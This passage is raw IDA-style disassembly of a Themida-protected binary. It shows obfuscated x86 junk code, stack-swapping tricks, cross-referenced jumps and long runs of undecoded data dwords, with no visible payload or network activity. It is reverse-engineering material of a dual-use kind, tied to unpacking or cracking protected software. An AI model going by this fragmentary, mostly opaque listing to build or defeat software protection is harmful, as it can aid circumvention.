		dd 0C895C24h, 5828E924h, 0FB290000h, 0E9C3015Fh, 11EEh
; ---------------------------------------------------------------------------


loc_55C624:				; CODE XREF: Themida_:005510B5j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_56472E
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 2Ah
		dd 216B7B11h, 60E95AD7h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C657:				; CODE XREF: Themida_:00560921j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55B09F
; ---------------------------------------------------------------------------


loc_55C664:				; CODE XREF: Themida_:0055A1D9j
		sub	bl, al
		add	bl, 0E9h
		sub	bl, 11h
		push	small 489Dh
		mov	[esp], ax
		mov	al, 23h
		sub	bl, al
		pop	ax
		movzx	eax, al
		jmp	loc_551930
; ---------------------------------------------------------------------------
		dw 5352h
		dd 220622BBh, 4E60E93Ah, 4870000h, 4895C24h, 81585424h
		dd 4ECh, 24348900h, 0F11D16BEh,	0BE565760h, 0
		dd 815EF789h, 7C27D8C7h, 52F72956h, 7D25E9h, 241C8700h
		dd 0C8B665Ch, 0E6895624h, 0FF92E0E9h, 8B5450FFh, 0C4812404h
		dd 4, 405h, 4BF5700h, 5000000h,	4F30F59h, 592DF801h, 0E904F30Fh
		dd 0FFFFDEA7h
; ---------------------------------------------------------------------------


loc_55C6F4:				; CODE XREF: Themida_:005529A0j
		mov	ecx, ebp
		jmp	loc_552343
; ---------------------------------------------------------------------------


loc_55C6FB:				; CODE XREF: Themida_:00559CC8j
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	37807CC2h
		jmp	loc_551A28
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 4C4835Ch, 405h
		dd 4C08300h, 31240433h,	4332404h, 24248B24h, 2404A30Fh
		dd 40ACE99Ch, 48FFFFFh,	24248B24h, 0B9240C89h, 717D11DEh
		dd 0E9B5E953h, 48FFFFFh, 24248B24h, 2CE0E9h, 5BD80900h
		dd 2C911805h
dword_55C768	dd 0FDA7E9BEh, 0F301FFFFh, 4C3835Eh, 8B241C87h,	68512424h
					; DATA XREF: Themida_:00551938o
		dd 3F74h, 83242489h, 59042404h,	4C181h,	0C1830000h, 240C8704h
		dd 0FFE37EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C799:				; CODE XREF: Themida_:00564E72j
		add	edx, 4D093502h
		mov	edi, [esp]
		jmp	loc_5540F5
; ---------------------------------------------------------------------------
aABazG		db '',8,'zG',0
		dd 685DEE01h, 3328h, 0FF6881E9h, 3F5A68FFh, 50E90000h
		dd 8BFFFFD7h, 0E2E9241Ch, 50FFFF7Ch, 0E388D488h, 0FF991DE9h
		dd 0C9EE81FFh, 1098038h, 2434FFF0h, 0FF55ADE9h,	4C481FFh
		dd 0E9000000h, 0FFFFA358h, 0E9D9215Bh, 0FFFF8F7Ah, 0E91C77FFh
		dd 0FFFF67A3h, 2159CA01h, 0B58CE9D5h, 0DCF6FFFFh, 8873EC80h
		dd 0EB2858E5h, 50240C8Bh, 0FF92DDE9h, 0BF5752FFh, 368D6CB7h
		dd 6E67C781h, 0E3E9490Bh
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C833:				; CODE XREF: Themida_:0055C15Aj
		push	4490h
		jmp	loc_561405
; ---------------------------------------------------------------------------
aSEvZs_		db 'SeV\Z`.',0
		align 4


loc_55C848:				; CODE XREF: Themida_:00551155j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55A304
; ---------------------------------------------------------------------------


loc_55C851:				; CODE XREF: Themida_:00551709j
		add	eax, 25D51391h
		jmp	loc_55BB98
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18300h, 0E9240C33h, 11A9h
; ---------------------------------------------------------------------------


loc_55C86C:				; CODE XREF: Themida_:0055796Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	bl, 0D0h
		sub	bl, al
		sub	bl, 0D0h
		jmp	loc_5509EA
; ---------------------------------------------------------------------------
		dd 8704C183h, 0FF5C240Ch, 0C2E92434h, 35FFFFA0h, 0D5534D2Fh
		dd 8853D801h, 5B3888CFh, 0F55EE958h, 0B850FFFFh, 23AD5005h
		dd 0D0F7E8D1h, 0B61BF905h, 0B480522h, 815054AEh, 1603242Ch
		dd 815B32F1h, 0F11603C3h, 2434FF32h, 5024048Bh,	405E089h
		dd 5000000h, 4,	0FFA124E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C8DD:				; CODE XREF: Themida_:005585BFj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_561946
; ---------------------------------------------------------------------------
		db 29h
		dd 8506E9DEh, 1489FFFFh, 81E28924h, 4C2h, 176EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C90A:				; CODE XREF: Themida_:00560D3Bj
		mov	edi, 1CA7720Fh
		add	edx, edi
		pop	edi
		or	ecx, ecx
		jmp	loc_553CC4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5D545524h, 4EC81h, 1C890000h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 8065E9h, 4BF00h, 0C3810000h, 45467819h, 6BE9FB01h
		dd 100008Dh, 1E2B2DE8h,	7D2D44A8h, 5D000F7Ah, 4EF0E9h
		dd 0F6814600h, 61B41CD5h, 0FFCD4BE9h, 24248BFFh, 0FFD191E9h
		dd 8B5457FFh, 0C483243Ch, 4C78104h, 0E9000000h,	0FFFFC153h
; ---------------------------------------------------------------------------


loc_55C988:				; CODE XREF: Themida_:00552B68j
		sub	edx, eax
		xchg	eax, edx
		pop	edx
		push	edi
		mov	edi, 2FC20937h
		and	eax, edi
		jmp	loc_560A80
; ---------------------------------------------------------------------------


loc_55C999:				; CODE XREF: Themida_:00560573j
		pop	ecx
		jmp	loc_560F80
; ---------------------------------------------------------------------------
		db 80h
		dd 0E628B4EEh, 0FF5A71E9h, 468FFh, 3C8B0000h, 0E9545524h
		dd 0FFFF4C72h
; ---------------------------------------------------------------------------


loc_55C9B8:				; CODE XREF: Themida_:005626BBj
		pop	ebx
		jmp	loc_55DAA5
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 6404h, 0C31D9B05h, 0EC835D71h, 6A4BE904h, 0E94D0000h
		dd 0FFFF6723h, 8B243487h, 1C892424h, 3FE4BB24h,	0C2E9094Fh
		dd 8900007Ah, 0FBE9240Ch, 5EFFFF3Dh, 8704EB83h,	0E95C241Ch
		dd 0F88h
; ---------------------------------------------------------------------------


loc_55CA00:				; CODE XREF: Themida_:0055E2B1j
		pop	esp
		jmp	loc_550E1F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6A49E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CA11:				; CODE XREF: Themida_:0055AE8Dj
		add	esp, 4


loc_55CA17:				; CODE XREF: Themida_:loc_554D5Fj
					; Themida_:00555BCBj
		push	3339h
		mov	[esp], ebx
		push	esi
		jmp	loc_558F7D
; ---------------------------------------------------------------------------


loc_55CA25:				; CODE XREF: Themida_:00553ADDj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55B84D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 899FB035h, 3EE950F8h, 58000007h, 3D4FBF57h, 0B8505C99h
		dd 2ECB498Ah, 2D04E0C1h, 5E6160CBh, 5502E0C1h, 795763BDh
		dd 0C3E95746h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA7B:				; CODE XREF: Themida_:00559E2Ej
		xor	ebx, 184E1E9Ch
		add	esi, ebx
		pop	ebx
		add	esi, ebx
		sub	esi, 747A2E2Bh
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55A745
; ---------------------------------------------------------------------------


loc_55CAA0:				; CODE XREF: Themida_:0055E577j
		push	ecx
		mov	ecx, 5AF47A3Dh
		add	ecx, 5C993CCh
		add	ebx, ecx
		jmp	loc_5508C2
; ---------------------------------------------------------------------------
		db 68h
		dd 1D10h, 68240C89h, 4,	0E92434FFh, 83DFh, 0FF2434FFh
		dd 0A1E92434h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAD3:				; CODE XREF: Themida_:0055B379j
		add	esi, edi
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_560FE6
; ---------------------------------------------------------------------------
aSCy?ht		db 'ScY?ht:',0
		align 4
		dd 56242C89h, 1030E9h, 0E9DC8800h, 0FFFF7309h, 835BDA01h
		dd 143304C2h, 24143124h, 5C241433h, 0FF752BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB1D:				; CODE XREF: Themida_:0055506Dj
		mov	esp, [esp]
		jmp	loc_5630D1
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 25BBh, 91BD555Bh, 4D78E836h, 8101C583h
		dd 0B83997CDh, 0FFC58377h, 0ED81D5F7h, 0CA158D8h, 0C15DE821h
		dd 1C3505E8h, 0E9029003h, 0FFFF6F72h, 0E904C483h, 0FFFF775Ah
		dd 83243C8Bh, 895204C4h, 2DE956E2h, 68FFFF83h, 7D19h, 0E9243C89h
		dd 7B21h, 9020C681h, 0F529EA00h, 5524348Bh, 5EF4E9h, 0F7015A00h
		dd 0C9BE565Eh, 192C0D2h, 0E9815EF7h, 37FE0020h,	0E956F901h
		dd 4194h, 4C4815Fh, 29000000h, 335F5DEEh, 8CE92434h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBBF:				; CODE XREF: Themida_:0055645Aj
		not	ebp
		xchg	ebp, edx
		xor	edx, 0A0808423h
		add	esi, edx
		pop	edx
		jmp	loc_556D00
; ---------------------------------------------------------------------------


loc_55CBD1:				; CODE XREF: Themida_:0055EC4Ej
		pop	eax
		jmp	loc_5603EE
; ---------------------------------------------------------------------------
		db 68h
		dd 3BAAh, 50241489h, 0EC79E99Ch, 0E95CFFFFh, 4F9h
; ---------------------------------------------------------------------------


loc_55CBEC:				; CODE XREF: Themida_:loc_553CC4j
					; Themida_:0055B959j
		push	ebx
		jmp	loc_55A7EB
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0E904C683h, 0FFFF9583h, 1E5BEE81h, 0F0292879h, 0ABCE9h
		dd 27CFBE00h, 43E942E2h, 87000028h, 0E95C242Ch,	0FFFFCA11h
		dd 6A37E957h, 56AD0000h, 6275E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CC2D:				; CODE XREF: Themida_:0055ED52j
		dec	edx
		xor	edx, 189B2A5Eh
		xor	esi, edx
		pop	edx
		xchg	edi, esi
		dec	edi
		xchg	edi, esi
		and	esi, 5A7C0474h
		xor	esi, 51151EBEh
		sub	esi, 1B791EDAh
		add	ecx, esi
		push	dword ptr [esp]
		jmp	loc_562AFF
; ---------------------------------------------------------------------------
		dd 8F35E9ACh, 0C281FFFFh, 36A83C4Ch, 0FF6CD7E9h, 7E68ACFFh
		dd 89000025h, 59E9240Ch, 58FFFF9Fh, 3017E9h, 48F5A00h
		dd 34895C24h, 0C7F3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC8A:				; CODE XREF: Themida_:00564FE7j
		add	esp, 2
		add	al, dh
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_554B15
; ---------------------------------------------------------------------------
		db 68h
		dd 0D8Ch, 81242489h, 42404h, 835F0000h,	1C8904ECh, 44B6BB24h
		dd 0E95704DAh, 4EBCh, 5B23E7BAh, 4AD2F716h, 65FEA81h, 0C2813D6Ch
		dd 0CE7953A9h, 7AE9D629h, 53FFFF3Eh, 87BF5751h,	8111BE14h
		dd 575CFDF7h, 56DFF701h, 635EC5BEh, 1EEE8144h, 0E93DDE21h
		dd 0FFFFD666h, 36AC181h, 0E95F5000h, 0FFFF7F28h, 335BDA01h
		dd 14312414h, 24143324h, 0E924248Bh, 0FFFF808Bh, 0E9242C33h
		dd 0FFFFD94Ch, 8B243C33h, 0EC832424h, 240C8904h, 7465BD55h
		dd 98E93233h, 33FFFF8Bh, 248B243Ch, 2404D224h, 3AA8E99Ch
		dd 0E95BFFFFh, 57AAh, 8B2434FFh, 99682404h, 8900003Bh
		dd 89562434h, 4C681E6h,	83000000h, 348704EEh, 24895C24h
		dd 17C8E924h, 2C8B0000h, 65F0E924h, 54BFFFFFh, 317F1726h
		dd 0C9815FF9h, 354F7F88h, 7018C181h, 0E1D14BFBh, 0BE56D1F7h
		dd 74CF60D4h, 0F7DEF74Eh, 0B3C681DEh, 8135DF0Dh, 168581C6h
		dd 0E9F1294Bh, 40D6h, 8B2434FFh, 54502404h, 0C9C9E958h
		dd 8966FFFFh, 27E92404h, 83FFFF3Ah, 0E95704C4h,	0FFFF7768h
		dd 937997B8h, 58C72900h, 243C875Eh, 0FFF6A4E9h,	771868FFh
		dd 4890000h, 7389B824h,	0B8E97FECh, 81FFFFCBh, 0C66CFBF3h
		dd 81DBF70Eh, 0D586C8F3h, 0B53EE9D0h, 8159FFFFh, 0B46953C7h
		dd 2434FF49h, 0E924148Bh, 0FFFFA4AEh, 0E1BA5259h, 81693461h
		dd 0CB9E23C2h, 5AD10196h, 54516852h, 815A7CEEh,	451258C2h
		dd 0ADF28148h, 0E9C53366h, 0FFFFAF11h
; ---------------------------------------------------------------------------


loc_55CE40:				; CODE XREF: Themida_:00552947j
		add	eax, edx
		jmp	loc_56517B
; ---------------------------------------------------------------------------
		db 87h
		dd 0D3F7241Ch, 8B241C87h, 0C4812434h, 4, 75E2E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE5E:				; CODE XREF: Themida_:00556FA6j
		pop	ebx
		add	[esp+4], ebx
		push	edi
		mov	edi, 73316F17h
		add	[esp+8], edi
		jmp	loc_561FB3
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 0FFFB7AE9h, 0FF5258FFh, 5A042474h, 8B24048Fh, 3C892424h
		dd 685F5424h, 6A46h, 0BB241C89h, 4FE0875h, 8102E3C1h, 824D7F3h
		dd 7B9510Bh, 3118F005h,	0DE959CBh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CEAF:				; CODE XREF: Themida_:00561CB0j
		xor	edx, 96E1966h
		sub	ecx, edx
		pop	edx
		jmp	loc_5648F7
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 9Eh
		dd 8118294Eh, 1A0149E5h, 0FCED8132h, 1F3E6E2h, 835F5DE8h
		dd 0B36804E8h, 8900006Ah, 74FF2404h, 0E9580424h, 0FFFF765Ch
		dd 7E243481h, 5E44A322h, 227EF681h, 0E95D44A3h,	0FFFF6F36h
		dd 9CB9515Fh, 0F74E7D74h, 81D1F7D1h, 5B47C8C1h,	8DF18105h
		dd 0E971BFA1h, 0FFFF4C2Bh
; ---------------------------------------------------------------------------


loc_55CF18:				; CODE XREF: Themida_:0055AB12j
		add	bl, 0C0h
		jmp	loc_562502
; ---------------------------------------------------------------------------


loc_55CF20:				; CODE XREF: Themida_:00556D01j
		mov	edi, 4
		sub	esi, edi
		pop	edi
		jmp	loc_557E6A
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 94h
		dd 0E93E9329h, 0FFFF661Eh, 700368h, 240C8900h, 1AB06855h
		dd 2C8B59EFh, 4C48324h,	7CD2ED81h, 47E96CB5h, 89000063h
		dd 1BBA2414h, 0E9741D32h, 0FFFF558Ch, 2015D3BEh, 7EEC162h
		dd 0E09CEE81h, 5A568F7Dh, 3E2C15Eh, 0E9575542h,	0FFFF8309h
; ---------------------------------------------------------------------------


loc_55CF80:				; CODE XREF: Themida_:00555BB4j
		add	ebp, 629A9C1Ch
		add	ecx, ebp
		jmp	loc_554501
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 32h
		dd 52FFFF59h, 89CF8957h, 0D5895FFAh, 0EF21595Ah, 0E9DFF75Dh
		dd 351Ah, 159CA31h, 0E9042454h,	3CDBh, 1BBFEB81h, 0D3012699h
		dd 1BBFC381h, 0EB812699h, 208A7439h, 0BF57505Ah, 4, 0FF5F2AE9h
		dd 2C8966FFh, 58F2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CFDE:				; CODE XREF: Themida_:0055151Bj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], ebp
		jmp	loc_55D9C3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4BD5500h, 0E9000000h, 0FFFF4EB1h, 26E568h, 35CEE900h
		dd 0D580000h, 6BDC0988h, 5205E8C1h, 6737B9BAh, 44AF6810h
		dd 0C890000h, 74B9B924h, 0CA0112B6h, 81D2F759h,	0E30283C2h
		dd 5AD02159h, 44501435h, 0FFC30102h, 48B2434h, 4C48324h
		dd 8304C483h, 76E904EBh, 53FFFF95h, 4BBh, 0BB535300h, 691E7252h
		dd 4245C01h, 82E9595Bh,	5CFFFF3Ch, 3E2A68h, 21E9E900h
		dd 0BB530000h, 0FFFFFFFFh, 0FF52CBE9h, 0E9FA88FFh, 0FFFFB704h
		dd 8104C483h, 4A4036F7h, 0CBEF8134h, 2938E2C4h,	0C3815FFAh
		dd 4EB10266h, 0EB81D301h, 4EB10266h, 82E9535Ah,	81FFFF94h
		dd 0EE756DC3h, 0E9DA892Eh, 0FFFF4447h, 241C8B5Fh, 5704C483h
		dd 274C0FBFh, 81EA8165h, 81792F62h, 442B9CEAh, 339AE974h
		dd 2D5E0000h, 71C31D9Bh, 0FFEA5EE9h, 3AC968FFh,	1C890000h
		dd 0E9515024h, 0FFFFC8C7h, 1A23EF81h, 81587667h, 4C7h
		dd 243C8700h, 6824248Bh, 2B28h,	81240489h, 404B242Ch, 0BBE958FDh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D11B:				; CODE XREF: Themida_:0055F3F7j
		add	edi, ebp
		pop	ebp
		inc	edi
		dec	edi
		push	4A1Bh
		mov	[esp], ebp
		jmp	loc_557B63
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 3AABh, 0BA241489h, 526D4C46h, 7C99B951h
		dd 0CA315AD1h, 87EF8159h, 13A9C2Fh, 87C781D7h, 5A3A9C2Fh
		dd 69E4EF81h, 0F8016554h, 0B3EBE95Fh, 5166FFFFh, 8904EC83h
		dd 0DDB42404h, 0FF851CE9h, 24148BFFh, 8B04C483h, 0BEE92414h
		dd 50FFFF5Ch, 4425E9h, 4D30400h, 2434FF38h, 84DFE9h, 24348100h
		dd 803473Ah, 3AF2815Ah,	58080347h, 4EC81h, 14890000h, 2907E924h
		dd 3C8B0000h, 2D65E924h, 8B5F0000h, 0EC812404h,	4, 54241C89h
		dd 0FFC8E8E9h, 0D62958FFh, 0C806E95Ah, 0BF57FFFFh, 50E371FDh
		dd 595FFD01h, 3304C583h, 0B7E9242Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1EB:				; CODE XREF: Themida_:00562FA6j
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_558959
; ---------------------------------------------------------------------------


loc_55D200:				; CODE XREF: Themida_:0055F1C2j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55A2F5
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24148B04h, 4C481h, 48F0000h,	3C5CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D21E:				; CODE XREF: Themida_:0055FEF0j
		pop	edi
		push	eax
		mov	eax, esp
		jmp	loc_558A14
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 8904EC83h, 0EC812424h, 4,	0FF6C3EE9h, 4C483FFh
		dd 83242C8Bh, 0D5F704C4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_556421
; ---------------------------------------------------------------------------
		db 1
		dd 0DC681EEh, 5D077473h, 66BFBB53h, 0EA81038Bh,	7C86BBAh
		dd 7D17C281h, 0DA296E78h, 7D17EA81h, 0C2816E78h, 7C86BBAh
		dd 6D14E9h, 4C68300h, 5C243487h, 405h, 4C08300h, 5C240487h
		dd 501A68h, 242C8900h, 42474FFh, 0FFC21FE9h, 2434FFFFh
		dd 7D6AE959h, 0D601FFFFh, 0FFDCCAE9h, 0C8B66FFh, 0E0895024h
		dd 4BA52h, 0FDE90000h, 87FFFF7Eh, 15C240Ch, 24048BC1h
		dd 8704C483h, 248B240Ch, 0E1895124h, 4C181h, 0AEE90000h
		dd 1FFFF56h, 5BC581D5h,	8B66847Bh, 0C4832414h, 4C58104h
		dd 33000000h, 0E4E9242Ch, 54000038h, 7205E9h, 48B6600h
		dd 7140E924h, 14890000h, 1BB5324h, 894D1B37h, 81425BDAh
		dd 922492F2h, 5E2C11Ch,	1B92E9h, 81D6F700h, 4405B6F6h
		dd 5EF3297Ah, 8B5BD829h, 89522434h, 4C281E2h, 83000000h
		dd 143304C2h, 4215E924h, 0E95C0000h, 1697h, 0E9243489h
		dd 73F9h, 8074B353h, 0DCE941C3h, 1FFFFCEh, 0BE565EF2h
		dd 4, 875EF201h, 248B2414h, 4CA6824h, 0BBE90000h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D397:				; CODE XREF: Themida_:00553970j
		pop	eax
		add	bl, 0EEh
		sub	esp, 4
		jmp	loc_55642E
; ---------------------------------------------------------------------------


loc_55D3A3:				; CODE XREF: Themida_:00558936j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5507F4
; ---------------------------------------------------------------------------
		db 0Dh,	6Dh, 5Dh
		dd 0A2E94202h, 1000063h, 0C5ED81D5h, 0FF3DE774h, 8AE92434h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D3CB:				; CODE XREF: Themida_:005653A2j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55199D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 835EF701h, 3C8704C7h, 0F8E95C24h,	83FFFFB7h, 69E904ECh
		dd 5BFFFFC8h, 6AE98149h, 8173D969h, 0B15C78E9h,	59CD3164h
		dd 0E95DEA01h, 0FFFF42A0h, 565DEF89h, 9614FDBEh, 5EF7017Eh
		dd 3EFDB850h, 0D7E97830h, 5FFFFFD0h, 4BE56h, 0F3E90000h
		dd 89000068h, 0EEBB241Ch, 8764B10Bh, 87D2F7D3h,	22BE56D3h
		dd 4E0CFA12h, 0FFFEECE9h, 0A1EE81FFh, 179A618h,	0A1C681FEh
		dd 5F79A618h, 31243433h, 9FE92434h, 50FFFFA7h, 0B7BB5356h
		dd 0BE5A4730h, 0E85AFD1Dh, 0B85BDE01h, 42A22DD8h, 348BF029h
		dd 4C48124h, 55000000h,	7B2D73BDh, 45D5F719h, 9BF58145h
		dd 0E9918792h, 1D71h, 595DEE89h, 5560C781h, 0EF814B32h
		dd 4B174050h, 0C781F729h, 4B174050h, 5560EF81h,	15E4B32h
		dd 0FCC781DFh, 0FF7A023Bh, 34FF2434h, 0C4835B24h, 4C48104h
		dd 55000000h, 2BDh, 5DEF0100h, 0E9243C87h, 0FFFF7574h
		dd 8B21DABBh, 0D5B9513Dh, 29EAC4E9h, 52E959CBh,	8100007Bh
		dd 2C1DBFC5h, 0E9FD0169h, 6E04h, 81240C8Bh, 4C4h, 3ACA6800h
		dd 3C890000h, 3F9EE924h, 0FA01FFFFh, 0FFFB97E9h, 0ED815DFFh
		dd 60BB70A9h, 0FFE83159h, 4DE92434h, 58000011h,	0FFE60DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D53D:				; CODE XREF: Themida_:005549AFj
		mov	ebp, esp
		push	eax
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	5B64h
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	6BC5h
		mov	[esp], ebx
		mov	ebx, 318B3AE6h
		push	eax
		mov	eax, 5B4C31D0h
		jmp	loc_552B62
; ---------------------------------------------------------------------------
		dd 0B60FC330h, 8734FFC0h, 0FF2434FFh, 67E92434h, 5000066h
		dd 26761843h, 432DD829h, 8B267618h, 0C481241Ch,	4, 0FF2434FFh
		dd 1C8B2434h, 6174E924h, 0CAFE0000h, 7564E9h, 242C8900h
		dd 4BDh, 0E16E900h, 94BE0000h, 574F5676h, 2DF1E9h, 0C7814700h
		dd 8BDED7E1h, 15FF829h,	92BAE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D5EA:				; CODE XREF: Themida_:0055821Bj
		push	2830h
		mov	[esp], eax
		push	edx
		mov	edx, 53C17155h
		jmp	loc_557683
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 55h
		dd 222F40BDh, 0D5F74D78h, 2D3BED81h, 0E5C173ACh, 0C4C58106h
		dd 1F3971Eh, 0E9575DE8h, 4A1Bh
; ---------------------------------------------------------------------------


loc_55D620:				; CODE XREF: Themida_:0055254Cj
		mov	esi, 2
		push	esi
		mov	esi, 63AB7105h
		push	ebp
		mov	ebp, 5F051767h
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5548D6
; ---------------------------------------------------------------------------
		db 81h
		dd 7B5C78E9h, 8BC82901h, 0CEE9240Ch, 59000013h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_55FEF5
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4BBh, 330DE900h, 0C1680000h,	89000002h, 52502414h, 24B0EFB2h
		dd 885AD000h, 0D00058C2h, 0FFFAF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D67D:				; CODE XREF: Themida_:00555733j
		shl	eax, 4
		push	3098h
		jmp	loc_55B68A
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 0FFB92FE9h, 4EC83FFh, 0BB241C89h, 25AF5A2Fh,	4692F381h
		dd 7FE91A89h, 0BA00005Ah, 2C545ADEh, 0FF5AD029h, 565F2434h
		dd 0FFB0F3E9h, 2474FFFFh, 48F5B04h, 24248B24h, 0FFAF49E9h
		dd 0BE355EFFh, 0E9458D0Eh, 0FFFF6E48h
; ---------------------------------------------------------------------------


loc_55D6D4:				; CODE XREF: Themida_:00556852j
		sub	esp, 4
		mov	[esp], ecx
		push	375E06ACh
		pop	ecx
		push	edx
		mov	edx, 40206BA7h
		push	ebx
		mov	ebx, 612C2B86h
		sub	edx, ebx
		jmp	loc_55B969
; ---------------------------------------------------------------------------
		db 81h
		dd 0F0F221C2h, 5A5F52DEh, 3C8BFE01h, 54A0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D706:				; CODE XREF: Themida_:00555C81j
		dec	esi
		shl	esi, 2
		or	esi, 55CB7DDAh
		xor	esi, 7DCF7FFEh
		jmp	loc_55FEE1
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB4589EEh, 81CE013Ch, 0CB4589C6h, 0F301593Ch, 24348B5Eh
		dd 0E2A68h, 60FBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D73A:				; CODE XREF: Themida_:00561C81j
		sub	edx, 4
		jmp	loc_55D85A
; ---------------------------------------------------------------------------


loc_55D745:				; CODE XREF: Themida_:0055C084j
		sub	eax, esi
		sub	eax, 50581569h
		pop	esi
		and	eax, 7FD72A9Fh
		jmp	loc_5581C4
; ---------------------------------------------------------------------------
		db 89h
		dd 0CBE9240Ch, 89FFFFDAh, 69EDE9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D766:				; CODE XREF: Themida_:00553F10j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 48247949h
		xor	edi, 4824794Dh
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	289Ch
		jmp	loc_553932
; ---------------------------------------------------------------------------
		db 8Fh
		dd 815C2404h, 74730DEEh, 0FABDE907h, 0E681FFFFh, 77486E4Fh
		dd 0FFA884E9h, 44C581FFh, 8B51C943h, 0C4832414h, 15A5E904h
		dd 0E95E0000h, 0FFFFF03Ch, 28A104ACh, 0EB6866D8h, 14896608h
		dd 0E6895624h, 4C681h, 0EE830000h, 24348704h, 6372E9h
		dd 0C8B6600h, 3A9FE924h, 0CC050000h, 1753E14h, 0BB951D0h
		dd 81628610h, 0BD4BB5C9h, 3E1C133h, 0E9C1D9F7h,	823DE902h
		dd 0C381FFFFh, 6FC46E5Fh, 3FD4E9h, 0E95A5000h, 0FFFF608Fh
		dd 8B2434FFh, 8950241Ch, 405E0h, 4050000h, 87000000h, 56E92404h
		dd 89FFFF8Fh, 768243Ch,	0E9648B03h, 0FFFFC6D3h,	2CC3814Bh
